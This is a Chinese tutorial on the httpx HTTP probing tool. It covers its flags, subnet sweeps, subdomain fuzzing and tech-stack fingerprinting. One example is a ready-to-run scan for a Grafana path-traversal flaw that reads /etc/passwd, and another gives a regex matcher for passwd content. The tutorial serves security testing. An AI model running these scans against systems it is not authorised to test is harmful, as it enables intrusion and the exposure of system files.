httpx 是一个由 ProjectDiscovery 团队开发的高效 HTTP 工具包,基于 retryablehttp 库构建,专为网络安全研究、资产发现和技术栈探测设计。它支持多线程操作、丰富的探测功能和灵活的输出格式。本教程将结合官方帮助文档(httpx.exe --help),详细讲解参数功能,并提供丰富的实战示例,帮助你从入门到精通。


1. 什么是 httpx?

httpx 是一个命令行工具,用于快速探测目标主机的 HTTP 服务。它可以返回状态码、标题、技术栈、服务器信息等,支持高级功能如截图、正则提取和条件过滤。无论是单个 URL 还是大规模 IP 段,httpx 都能高效处理,广泛应用于渗透测试和信息收集。


2. 安装与基本使用

2.1 安装

  • Windows: 从 GitHub下载 httpx.exe
  • Linux/macOS: 使用 go install 或预编译二进制文件。
  • 更新: 运行 httpx -up 更新到最新版本。

2.2 基本用法

httpx.exe [flags]
  • 不带参数时,从标准输入(stdin)读取目标。
  • 使用 flags 指定输入、探测类型和输出格式。

2.3 示例:探测单个目标

httpx.exe -u "https://www.baidu.com" -sc -title

输出: [https://www.baidu.com] [200] [百度一下,你就知道]


3. 参数详解

httpx 参数众多,按功能分类如下,包含详细说明和使用场景。

3.1 输入参数 (INPUT)

指定探测目标的方式。

  • -l, -list string: 从文件读取目标列表,支持域名、IP 或 URL。
    • 示例: httpx.exe -l targets.txt
    • 场景: 批量探测资产。
  • -rr, -request string: 使用包含原始 HTTP 请求的文件。
    • 示例: httpx.exe -rr raw_request.txt
    • 场景: 测试特定请求。
  • -u, -target string[]: 直接指定目标,可多次使用。
    • 示例: httpx.exe -u "https://example.com" -u "http://test.com"
    • 场景: 快速测试少量目标。

3.2 探测参数 (PROBES)

控制返回的响应信息。

  • -sc, -status-code: 显示状态码(如 200、404)。
    • 场景: 判断目标是否存活。
  • -cl, -content-length: 显示内容长度。
    • 场景: 分析响应大小。
  • -ct, -content-type: 显示内容类型(如 text/html)。
    • 场景: 识别页面类型。
  • -title: 显示页面标题。
    • 场景: 快速了解页面内容。
  • -server, -web-server: 显示服务器名称(如 nginx)。
    • 场景: 识别后端技术。
  • -td, -tech-detect: 检测技术栈(如 WordPress、Apache)。
    • 场景: 技术指纹识别。
  • -ip: 显示目标 IP。
  • -cname: 显示 CNAME 记录。
  • -favicon: 显示 /favicon.ico 的 MMH3 哈希。
    • 场景: 识别网站指纹。
  • -jarm: 显示 JARM 指纹。
    • 场景: TLS 服务指纹识别。
  • -rt, -response-time: 显示响应时间。
    • 场景: 性能分析。
  • 示例:
    httpx.exe -u "https://www.baidu.com" -sc -title -server -td
    
    输出: [https://www.baidu.com] [200] [百度一下,你就知道] [BFE] [tech: BFE]

3.3 无头浏览器参数 (HEADLESS)

处理需要渲染的页面。

  • -ss, -screenshot: 使用无头浏览器截图。
    • 场景: 验证页面内容。
  • -st, -screenshot-timeout value: 截图超时(默认 10 秒)。
  • -srd, -store-response-dir string: 指定截图和响应保存目录。
  • 示例:
    httpx.exe -u "https://example.com" -ss -srd "output"
    

3.4 匹配参数 (MATCHERS)

筛选符合条件的响应。

  • -mc, -match-code string: 匹配状态码。
    • 示例: -mc 200,302 只显示 200 或 302 的响应。
  • -ms, -match-string string[]: 匹配响应中的字符串。
    • 示例: -ms "login" 只显示含 “login” 的页面。
  • -mr, -match-regex string[]: 匹配正则表达式。
    • 示例: -mr "root:[x0-9]:" 匹配 /etc/passwd 内容。
  • -mrt, -match-response-time string: 匹配响应时间。
    • 示例: -mrt '< 1' 只显示响应小于 1 秒的结果。

3.5 提取参数 (EXTRACTOR)

从响应中提取数据。

  • -er, -extract-regex string[]: 使用正则提取。
    • 示例: -er "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" 提取邮件。
  • -ep, -extract-preset string[]: 使用预定义正则(如 mailurl)。
    • 示例: -ep url 提取所有 URL。

3.6 过滤参数 (FILTERS)

排除不符合条件的响应。

  • -fc, -filter-code string: 过滤状态码。
    • 示例: -fc 403,404 排除 403 和 404。
  • -fs, -filter-string string[]: 过滤含特定字符串的响应。
    • 示例: -fs "error" 排除含 “error” 的页面。
  • -fep, -filter-error-page: 过滤错误页面(基于机器学习)。
    • 场景: 提高结果准确性。

3.7 速率限制参数 (RATE-LIMIT)

控制请求频率。

  • -t, -threads int: 线程数(默认 50)。
    • 场景: 提高探测速度。
  • -rl, -rate-limit int: 每秒最大请求数(默认 150)。
    • 场景: 避免触发防护。
  • 示例:
    httpx.exe -l hosts.txt -t 100 -rl 200
    

3.8 输出参数 (OUTPUT)

自定义输出格式。

  • -o, -output string: 保存到文件。
  • -json: 输出 JSONL 格式。
  • -sr, -store-response: 保存完整响应。
  • -csv: 输出 CSV 格式。
  • 示例:
    httpx.exe -l hosts.txt -json -o results.json
    

3.9 配置参数 (CONFIGURATIONS)

调整请求行为。

  • -H, -header string[]: 自定义 HTTP 头。
    • 示例: -H "User-Agent: Mozilla/5.0"
  • -fr, -follow-redirects: 跟随重定向。
  • -p, -ports string[]: 指定端口。
    • 示例: -p 80,443,8080
  • -path string: 指定路径。
    • 示例: -path "/admin"

4. 实战应用

4.1 基本探测

探测目标的基本信息。

echo "www.baidu.com" | httpx -title -sc -td

输出: [http://www.baidu.com] [200] [百度一下,你就知道] [tech: BFE]

4.2 指定端口探测

探测特定端口的 HTTP 服务。

echo "www.baidu.com" | httpx -title -sc -td -p 80,443,8080 -probe

输出: 检查 80、443 和 8080 端口的响应。

4.3 C 段存活探测

扫描整个 C 段(/24)寻找存活主机。

echo "192.168.1.0/24" | httpx -silent
  • -silent: 静默模式,仅输出结果。
  • 输出: 存活主机的 URL。

4.4 Grafana 任意文件读取扫描

检测 Grafana 漏洞(路径穿越读取 /etc/passwd)。

httpx -l ip.txt -sc -path "/public/plugins/prometheus/../../../../../../../../../../../etc/passwd" -mc 200 -mr "root:x"
  • -path: 指定漏洞路径。
  • -mc 200: 匹配状态码 200。
  • -mr "root:x": 匹配响应中含 root:x
  • 输出: 存在漏洞的目标。

4.5 FUZZ 子域名

结合子域名字典进行探测。

wget -q -O - "https://raw.githubusercontent.com/weujieytt/SrcCommon/main/FUZZ/subnames.txt" | sed 's/FUZZ/baidu.com/g' | httpx -sc -title -location -t 100
  • wget 下载字典,sed 替换 FUZZ 为 baidu.com
  • -t 100: 使用 100 线程加速。
  • 输出: 子域名的状态码、标题和重定向位置。

4.6 技术栈批量检测

扫描文件中的目标并识别技术栈。

httpx -l domains.txt -td -server -json -o tech.json
  • 输出: JSON 格式的技术栈和服务器信息。

4.7 提取敏感信息

从响应中提取 URL。

httpx -l targets.txt -ep url -o urls.txt
  • 输出: 提取的所有 URL 保存到 urls.txt

4.8 结合截图验证

探测并保存页面截图。

httpx -l hosts.txt -ss -srd "screenshots" -title -sc
  • 输出: 标题、状态码和截图文件。

5. 高级技巧

  1. 管道输入:
    cat domains.txt | httpx -sc -title
    
  2. 避免封禁:
    httpx -l hosts.txt -t 20 -rl 50 -delay 500ms
    
    • -delay 500ms: 每次请求间隔 500 毫秒。
  3. 自定义请求:
    httpx -u "https://example.com" -H "Cookie: session=abc123" -body '{"test": "data"}' -x POST
    

总结

httpx 凭借其强大的功能和灵活性,成为网络安全领域的利器。本教程从参数讲解到实战应用,覆盖了从基础探测到漏洞扫描的多种场景。通过合理配置参数和结合其他工具,你可以充分发挥 httpx 的潜力,提升工作效率!

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐